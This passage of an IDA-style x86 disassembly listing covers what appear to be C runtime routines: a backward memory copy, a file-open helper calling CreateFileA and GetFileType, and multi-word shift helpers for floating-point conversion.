		jmp	ds:off_41BF58[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_41BE6C
		dd offset loc_41BE90
		dd offset loc_41BEB8
; ---------------------------------------------------------------------------


loc_41BE6C:				; DATA XREF: sub_41BC70+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41BE34
		std
		rep movsd
		cld
		jmp	ds:off_41BF58[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41BE90:				; DATA XREF: sub_41BC70+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41BE34
		std
		rep movsd
		cld
		jmp	ds:off_41BF58[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41BEB8:				; DATA XREF: sub_41BC70+1F8o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41BE34
		std
		rep movsd
		cld
		jmp	ds:off_41BF58[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41BF0C
		dd offset loc_41BF14
		dd offset loc_41BF1C
		dd offset loc_41BF24
		dd offset loc_41BF2C
		dd offset loc_41BF34
		dd offset loc_41BF3C
off_41BF08	dd offset loc_41BF4F	; DATA XREF: sub_41BC70+1C6r
; ---------------------------------------------------------------------------


loc_41BF0C:				; DATA XREF: sub_41BC70+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41BF14:				; DATA XREF: sub_41BC70+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41BF1C:				; DATA XREF: sub_41BC70+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41BF24:				; DATA XREF: sub_41BC70+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41BF2C:				; DATA XREF: sub_41BC70+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41BF34:				; DATA XREF: sub_41BC70+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41BF3C:				; DATA XREF: sub_41BC70+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41BF4F:				; CODE XREF: sub_41BC70+1C6j
					; DATA XREF: sub_41BC70:off_41BF08o
		jmp	ds:off_41BF58[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41BF58	dd offset loc_41BF68	; DATA XREF: sub_41BC70+1BBr
					; sub_41BC70:loc_41BE58r ...
		dd offset loc_41BF70
		dd offset loc_41BF80
		dd offset loc_41BF94
; ---------------------------------------------------------------------------


loc_41BF68:				; CODE XREF: sub_41BC70+1BBj
					; sub_41BC70:loc_41BE58j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41BF70:				; CODE XREF: sub_41BC70+1BBj
					; sub_41BC70:loc_41BE58j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41BF80:				; CODE XREF: sub_41BC70+1BBj
					; sub_41BC70:loc_41BE58j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41BF94:				; CODE XREF: sub_41BC70+1BBj
					; sub_41BC70:loc_41BE58j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41BC70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BFAD	proc near		; CODE XREF: sub_41C294+28p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	edx, [ebp+arg_C]
		push	ebx
		push	esi
		xor	esi, esi
		test	dl, dl
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], esi
		jns	short loc_41BFD1
		mov	[ebp+var_14], esi
		mov	[ebp+var_1], 10h
		jmp	short loc_41BFDC
; ---------------------------------------------------------------------------


loc_41BFD1:				; CODE XREF: sub_41BFAD+19j
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41BFDC:				; CODE XREF: sub_41BFAD+22j
		mov	eax, 8000h
		test	edx, eax
		jnz	short loc_41BFF6
		test	dh, 40h
		jnz	short loc_41BFF2
		cmp	dword_47A298, eax
		jz	short loc_41BFF6


loc_41BFF2:				; CODE XREF: sub_41BFAD+3Bj
		or	[ebp+var_1], 80h


loc_41BFF6:				; CODE XREF: sub_41BFAD+36j
					; sub_41BFAD+43j
		push	3
		mov	eax, edx
		pop	ebx
		and	eax, ebx
		sub	eax, esi
		jz	short loc_41C019
		dec	eax
		jz	short loc_41C010
		dec	eax
		jnz	short loc_41C034
		mov	[ebp+var_10], 0C0000000h
		jmp	short loc_41C020
; ---------------------------------------------------------------------------


loc_41C010:				; CODE XREF: sub_41BFAD+55j
		mov	[ebp+var_10], 40000000h
		jmp	short loc_41C020
; ---------------------------------------------------------------------------


loc_41C019:				; CODE XREF: sub_41BFAD+52j
		mov	[ebp+var_10], 80000000h


loc_41C020:				; CODE XREF: sub_41BFAD+61j
					; sub_41BFAD+6Aj
		cmp	ecx, 10h
		jz	short loc_41C065
		cmp	ecx, 20h
		jz	short loc_41C05C
		cmp	ecx, 30h
		jz	short loc_41C053
		cmp	ecx, 40h
		jz	short loc_41C04E


loc_41C034:				; CODE XREF: sub_41BFAD+58j
		call	sub_417C70
		mov	dword ptr [eax], 16h
		call	sub_417C79
		mov	[eax], esi
		or	eax, 0FFFFFFFFh
		jmp	loc_41C245
; ---------------------------------------------------------------------------


loc_41C04E:				; CODE XREF: sub_41BFAD+85j
		mov	[ebp+var_8], ebx
		jmp	short loc_41C068
; ---------------------------------------------------------------------------


loc_41C053:				; CODE XREF: sub_41BFAD+80j
		mov	[ebp+var_8], 2
		jmp	short loc_41C068
; ---------------------------------------------------------------------------


loc_41C05C:				; CODE XREF: sub_41BFAD+7Bj
		mov	[ebp+var_8], 1
		jmp	short loc_41C068
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFAD+76j
		mov	[ebp+var_8], esi


loc_41C068:				; CODE XREF: sub_41BFAD+A4j
					; sub_41BFAD+ADj ...
		mov	eax, edx
		mov	edx, 700h
		and	eax, edx
		mov	ecx, 400h
		cmp	eax, ecx
		push	edi
		mov	edi, 100h
		jg	short loc_41C0AF
		jz	short loc_41C0AA
		cmp	eax, esi
		jz	short loc_41C0AA
		cmp	eax, edi
		jz	short loc_41C0A1
		cmp	eax, 200h
		jz	short loc_41C0DB
		cmp	eax, 300h
		jnz	short loc_41C0C1
		mov	[ebp+var_C], 2
		jmp	short loc_41C0EB
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFAD+DBj
		mov	[ebp+var_C], 4
		jmp	short loc_41C0EB
; ---------------------------------------------------------------------------


loc_41C0AA:				; CODE XREF: sub_41BFAD+D3j
					; sub_41BFAD+D7j
		mov	[ebp+var_C], ebx
		jmp	short loc_41C0EB
; ---------------------------------------------------------------------------


loc_41C0AF:				; CODE XREF: sub_41BFAD+D1j
		cmp	eax, 500h
		jz	short loc_41C0E4
		cmp	eax, 600h
		jz	short loc_41C0DB
		cmp	eax, edx
		jz	short loc_41C0E4


loc_41C0C1:				; CODE XREF: sub_41BFAD+E9j
		call	sub_417C70
		mov	dword ptr [eax], 16h
		call	sub_417C79
		mov	[eax], esi


loc_41C0D3:				; CODE XREF: sub_41BFAD+2E2j
		or	eax, 0FFFFFFFFh
		jmp	loc_41C244
; ---------------------------------------------------------------------------


loc_41C0DB:				; CODE XREF: sub_41BFAD+E2j
					; sub_41BFAD+10Ej
		mov	[ebp+var_C], 5
		jmp	short loc_41C0EB
; ---------------------------------------------------------------------------


loc_41C0E4:				; CODE XREF: sub_41BFAD+107j
					; sub_41BFAD+112j
		mov	[ebp+var_C], 1


loc_41C0EB:				; CODE XREF: sub_41BFAD+F2j
					; sub_41BFAD+FBj ...
		mov	eax, [ebp+arg_C]
		test	eax, edi
		mov	esi, 80h
		jz	short loc_41C109
		mov	ecx, dword_479E58
		not	ecx
		and	ecx, [ebp+arg_10]
		test	cl, cl
		js	short loc_41C109
		xor	esi, esi
		inc	esi


loc_41C109:				; CODE XREF: sub_41BFAD+148j
					; sub_41BFAD+157j
		test	al, 40h
		jz	short loc_41C124
		or	byte ptr [ebp+var_10+2], 1
		or	esi, 4000000h
		cmp	dword_479E5C, 2
		jnz	short loc_41C124
		or	[ebp+var_8], 4


loc_41C124:				; CODE XREF: sub_41BFAD+15Ej
					; sub_41BFAD+171j
		test	ah, 10h
		jz	short loc_41C12B
		or	esi, edi


loc_41C12B:				; CODE XREF: sub_41BFAD+17Aj
		test	al, 20h
		jz	short loc_41C137
		or	esi, 8000000h
		jmp	short loc_41C141
; ---------------------------------------------------------------------------


loc_41C137:				; CODE XREF: sub_41BFAD+180j
		test	al, 10h
		jz	short loc_41C141
		or	esi, 10000000h


loc_41C141:				; CODE XREF: sub_41BFAD+188j
					; sub_41BFAD+18Cj
		call	sub_41B841
		mov	edi, eax
		or	ebx, 0FFFFFFFFh
		cmp	edi, ebx
		jnz	short loc_41C169
		call	sub_417C70
		mov	dword ptr [eax], 18h
		call	sub_417C79
		and	dword ptr [eax], 0


loc_41C162:				; CODE XREF: sub_41BFAD+208j
		mov	eax, ebx
		jmp	loc_41C244
; ---------------------------------------------------------------------------


loc_41C169:				; CODE XREF: sub_41BFAD+1A0j
		mov	eax, [ebp+arg_0]
		push	0
		push	esi
		push	[ebp+var_C]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_4]
		mov	[eax], edi
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_8]
		push	[ebp+var_10]
		push	[ebp+arg_8]
		call	ds:dword_41F03C	; CreateFileA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41C1A8
		push	esi
		call	ds:dword_41F1AC	; GetFileType
		test	eax, eax
		jnz	short loc_41C1B7
		push	esi
		call	ds:dword_41F034	; CloseHandle


loc_41C1A8:				; CODE XREF: sub_41BFAD+1E7j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		push	eax
		call	sub_417C82
		pop	ecx
		jmp	short loc_41C162
; ---------------------------------------------------------------------------


loc_41C1B7:				; CODE XREF: sub_41BFAD+1F2j
		cmp	eax, 2
		jnz	short loc_41C1C2
		or	[ebp+var_1], 40h
		jmp	short loc_41C1CB
; ---------------------------------------------------------------------------


loc_41C1C2:				; CODE XREF: sub_41BFAD+20Dj
		cmp	eax, 3
		jnz	short loc_41C1CB
		or	[ebp+var_1], 8


loc_41C1CB:				; CODE XREF: sub_41BFAD+213j
					; sub_41BFAD+218j
		push	esi
		push	edi
		call	sub_41B670
		or	[ebp+var_1], 1
		mov	eax, edi
		sar	eax, 5
		lea	ebx, ds:47A2E0h[eax*4]
		mov	eax, edi
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	al, [ebp+var_1]
		pop	ecx
		pop	ecx
		mov	ecx, [ebx]
		shl	esi, 2
		mov	[ebp+var_1], al
		and	[ebp+var_1], 48h
		mov	[esi+ecx+4], al
		jnz	short loc_41C22D
		test	al, al
		jns	short loc_41C22D
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41C22D
		push	2
		push	0FFFFFFFFh
		push	edi
		call	sub_419BC9
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41C249
		call	sub_417C79
		cmp	dword ptr [eax], 83h
		jnz	short loc_41C288


loc_41C22D:				; CODE XREF: sub_41BFAD+252j
					; sub_41BFAD+256j ...
		cmp	[ebp+var_1], 0
		jnz	short loc_41C242
		test	byte ptr [ebp+arg_C], 8
		jz	short loc_41C242
		mov	eax, [ebx]
		lea	eax, [esi+eax+4]
		or	byte ptr [eax],	20h


loc_41C242:				; CODE XREF: sub_41BFAD+284j
					; sub_41BFAD+28Aj
		mov	eax, edi


loc_41C244:				; CODE XREF: sub_41BFAD+129j
					; sub_41BFAD+1B7j
		pop	edi


loc_41C245:				; CODE XREF: sub_41BFAD+9Cj
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C249:				; CODE XREF: sub_41BFAD+271j
		and	[ebp+var_2], 0
		push	1
		lea	eax, [ebp+var_2]
		push	eax
		push	edi
		call	sub_417536
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41C276
		cmp	[ebp+var_2], 1Ah
		jnz	short loc_41C276
		push	[ebp+var_10]
		push	edi
		call	sub_41D96E
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jz	short loc_41C288


loc_41C276:				; CODE XREF: sub_41BFAD+2B1j
					; sub_41BFAD+2B7j
		push	0
		push	0
		push	edi
		call	sub_419BC9
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41C22D


loc_41C288:				; CODE XREF: sub_41BFAD+27Ej
					; sub_41BFAD+2C7j
		push	edi
		call	sub_416304
		pop	ecx
		jmp	loc_41C0D3
sub_41BFAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C294	proc near		; CODE XREF: sub_417B08+137p

var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	14h
		push	offset stru_428588
		call	__SEH_prolog
		and	[ebp+var_1C], 0
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+arg_8]
		call	sub_41BFAD
		add	esp, 14h
		mov	[ebp+var_24], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41C2D9
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_41C294	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2D9	proc near		; CODE XREF: sub_41C294+37p
					; DATA XREF: .rdata:stru_428588o
		cmp	dword ptr [ebp-1Ch], 0
		jz	short locret_41C2E8
		push	dword ptr [ebp-20h]
		call	sub_41B81F
		pop	ecx

locret_41C2E8:				; CODE XREF: sub_41C2D9+4j
		retn
sub_41C2D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E9	proc near		; CODE XREF: sub_41C368+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	ecx
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		mov	ecx, [esp+arg_0]
		not	edx
		test	[ecx+eax*4], edx
		jz	short loc_41C311


loc_41C308:				; CODE XREF: sub_41C2E9+26j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C30B:				; CODE XREF: sub_41C2E9+2Cj
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_41C308


loc_41C311:				; CODE XREF: sub_41C2E9+1Dj
		inc	eax
		cmp	eax, 3
		jl	short loc_41C30B
		xor	eax, eax
		inc	eax
		retn
sub_41C2E9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C31B	proc near		; CODE XREF: sub_41C368+42p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		push	20h
		pop	ecx
		cdq
		idiv	ecx
		mov	edi, [esp+8+arg_0]
		mov	esi, eax
		lea	eax, [edi+esi*4]
		push	eax
		push	1Fh
		pop	ecx
		sub	ecx, edx
		xor	edx, edx
		inc	edx
		shl	edx, cl
		push	edx
		push	dword ptr [eax]
		call	sub_41DAA9
		add	esp, 0Ch
		dec	esi
		js	short loc_41C365
		lea	edi, [edi+esi*4]


loc_41C34C:				; CODE XREF: sub_41C31B+48j
		test	eax, eax
		jz	short loc_41C365
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_41DAA9
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_41C34C


loc_41C365:				; CODE XREF: sub_41C31B+2Cj
					; sub_41C31B+33j
		pop	edi
		pop	esi
		retn
sub_41C31B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C368	proc near		; CODE XREF: sub_41C489+79p
					; sub_41C489+C2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		dec	edi
		push	20h
		lea	eax, [edi+1]
		pop	ecx
		cdq
		idiv	ecx
		push	1Fh
		pop	esi
		sub	esi, edx
		xor	edx, edx
		inc	edx
		mov	ecx, esi
		shl	edx, cl
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		test	[eax+ebx*4], edx
		jz	short loc_41C3B7
		lea	ecx, [edi+1]
		push	ecx
		push	eax
		call	sub_41C2E9
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41C3B4
		push	edi
		push	[ebp+arg_0]
		call	sub_41C31B
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax


loc_41C3B4:				; CODE XREF: sub_41C368+3Cj
		mov	eax, [ebp+arg_0]


loc_41C3B7:				; CODE XREF: sub_41C368+2Cj
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax+ebx*4], edx
		inc	ebx
		cmp	ebx, ecx
		jge	short loc_41C3D2
		lea	edi, [eax+ebx*4]
		sub	ecx, ebx
		xor	eax, eax
		rep stosd


loc_41C3D2:				; CODE XREF: sub_41C368+5Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C368	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3DA	proc near		; CODE XREF: sub_41C489+6Dp
					; sub_41C489+ACp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	3
		pop	edx
		sub	ecx, eax
		push	esi


loc_41C3E8:				; CODE XREF: sub_41C3DA+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_41C3E8
		pop	esi
		retn
sub_41C3DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C3F5	proc near		; CODE XREF: sub_41C489+4Dp

arg_0		= dword	ptr  4

		xor	eax, eax


loc_41C3F7:				; CODE XREF: sub_41C3F5+10j
		mov	ecx, [esp+arg_0]
		cmp	dword ptr [ecx+eax*4], 0
		jnz	short loc_41C40B
		inc	eax
		cmp	eax, 3
		jl	short loc_41C3F7
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41C40B:				; CODE XREF: sub_41C3F5+Aj
		xor	eax, eax
		retn
sub_41C3F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C40E	proc near		; CODE XREF: sub_41C489+B6p
					; sub_41C489+D0p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		pop	esi
		cdq
		mov	ecx, esi
		idiv	ecx
		mov	ebx, [ebp+arg_0]
		or	edi, 0FFFFFFFFh
		mov	[ebp+arg_4], esi
		mov	ecx, edx
		shl	edi, cl
		mov	[ebp+var_8], eax
		xor	eax, eax
		sub	[ebp+arg_4], edx
		not	edi
		mov	[ebp+var_4], eax


loc_41C43C:				; CODE XREF: sub_41C40E+51j
		mov	esi, [ebx+eax*4]
		mov	ecx, esi
		and	ecx, edi
		mov	[ebp+var_C], ecx
		mov	ecx, edx
		shr	esi, cl
		mov	ecx, [ebp+arg_4]
		or	esi, [ebp+var_4]
		mov	[ebx+eax*4], esi
		mov	esi, [ebp+var_C]
		shl	esi, cl
		inc	eax
		cmp	eax, 3
		mov	[ebp+var_4], esi
		jl	short loc_41C43C
		push	2
		pop	eax
		mov	ecx, eax
		sub	ecx, [ebp+var_8]
		lea	ecx, [ebx+ecx*4]


loc_41C46C:				; CODE XREF: sub_41C40E+74j
		cmp	eax, [ebp+var_8]
		jl	short loc_41C478
		mov	edx, [ecx]
		mov	[ebx+eax*4], edx
		jmp	short loc_41C47C
; ---------------------------------------------------------------------------


loc_41C478:				; CODE XREF: sub_41C40E+61j
		and	dword ptr [ebx+eax*4], 0


loc_41C47C:				; CODE XREF: sub_41C40E+68j
		dec	eax
		sub	ecx, 4
		test	eax, eax
		jge	short loc_41C46C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C40E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C489	proc near		; CODE XREF: sub_41C5E1+Dp
					; sub_41C5F7+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		movzx	ecx, word ptr [eax+0Ah]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		shl	eax, 10h
		and	edi, 7FFFh
		sub	edi, 3FFFh
		cmp	edi, 0FFFFC001h
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_8], ecx
		push	eax
		jnz	short loc_41C4F2
		xor	ebx, ebx
		call	sub_41C3F5
		test	eax, eax
		pop	ecx
		jnz	loc_41C5A1
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd


loc_41C4EA:				; CODE XREF: sub_41C489+DAj
		push	2
		pop	eax
		jmp	loc_41C5A3
; ---------------------------------------------------------------------------


loc_41C4F2:				; CODE XREF: sub_41C489+49j
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_41C3DA
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41C368
		add	esp, 10h
		test	eax, eax
		jz	short loc_41C50F
		inc	edi


loc_41C50F:				; CODE XREF: sub_41C489+83j
		mov	eax, [esi+4]
		mov	ecx, eax
		sub	ecx, [esi+8]
		cmp	edi, ecx
		jge	short loc_41C525
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		jmp	short loc_41C561
; ---------------------------------------------------------------------------


loc_41C525:				; CODE XREF: sub_41C489+90j
		cmp	edi, eax
		jg	short loc_41C565
		sub	eax, edi
		mov	edi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41C3DA
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		call	sub_41C40E
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41C368
		mov	eax, [esi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41C40E
		add	esp, 20h


loc_41C561:				; CODE XREF: sub_41C489+9Aj
		xor	ebx, ebx
		jmp	short loc_41C4EA
; ---------------------------------------------------------------------------


loc_41C565:				; CODE XREF: sub_41C489+9Ej
		cmp	edi, [esi]
		push	dword ptr [esi+0Ch]
		jl	short loc_41C58D
		xor	eax, eax
		lea	edi, [ebp+var_C]
		stosd
		stosd
		stosd
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41C40E
		mov	ebx, [esi+14h]
		add	ebx, [esi]
		pop	ecx
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_41C5A3
; ---------------------------------------------------------------------------


loc_41C58D:				; CODE XREF: sub_41C489+E1j
		mov	ebx, [esi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	ebx, edi
		call	sub_41C40E
		pop	ecx
		pop	ecx


loc_41C5A1:				; CODE XREF: sub_41C489+55j
		xor	eax, eax


loc_41C5A3:				; CODE XREF: sub_41C489+64j
					; sub_41C489+102j
		push	1Fh
		pop	ecx
		sub	ecx, [esi+0Ch]
		mov	esi, [esi+10h]
		shl	ebx, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	ebx, ecx
		or	ebx, [ebp+var_C]
		cmp	esi, 40h
		jnz	short loc_41C5D2
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], ebx
		mov	[ecx], edx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5D2:				; CODE XREF: sub_41C489+13Aj
		cmp	esi, 20h
		jnz	short loc_41C5DC
		mov	ecx, [ebp+arg_4]
		mov	[ecx], ebx


loc_41C5DC:				; CODE XREF: sub_41C489+147j
					; sub_41C489+14Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C489	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5E1	proc near		; CODE XREF: sub_41C60D+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42D1B0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41C489
		add	esp, 0Ch
		retn
sub_41C5E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C5F7	proc near		; CODE XREF: sub_41C650+2Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_42D1C8
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41C489
		add	esp, 0Ch
		retn
sub_41C5F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C60D	proc near		; CODE XREF: sub_417EB8+12p

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41DC67
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41C5E1
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_4182D6
		leave
		retn
sub_41C60D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C650	proc near		; CODE XREF: sub_417EB8+2Dp

var_14		= byte ptr -14h
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41DC67
		push	[ebp+arg_0]
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_41C5F7
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		add	esp, 24h
		call	sub_4182D6
		leave
		retn
sub_41C650	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C693	proc near		; CODE XREF: sub_417FC1+4Dp
					; sub_4180D1+41p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+0Ch]
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
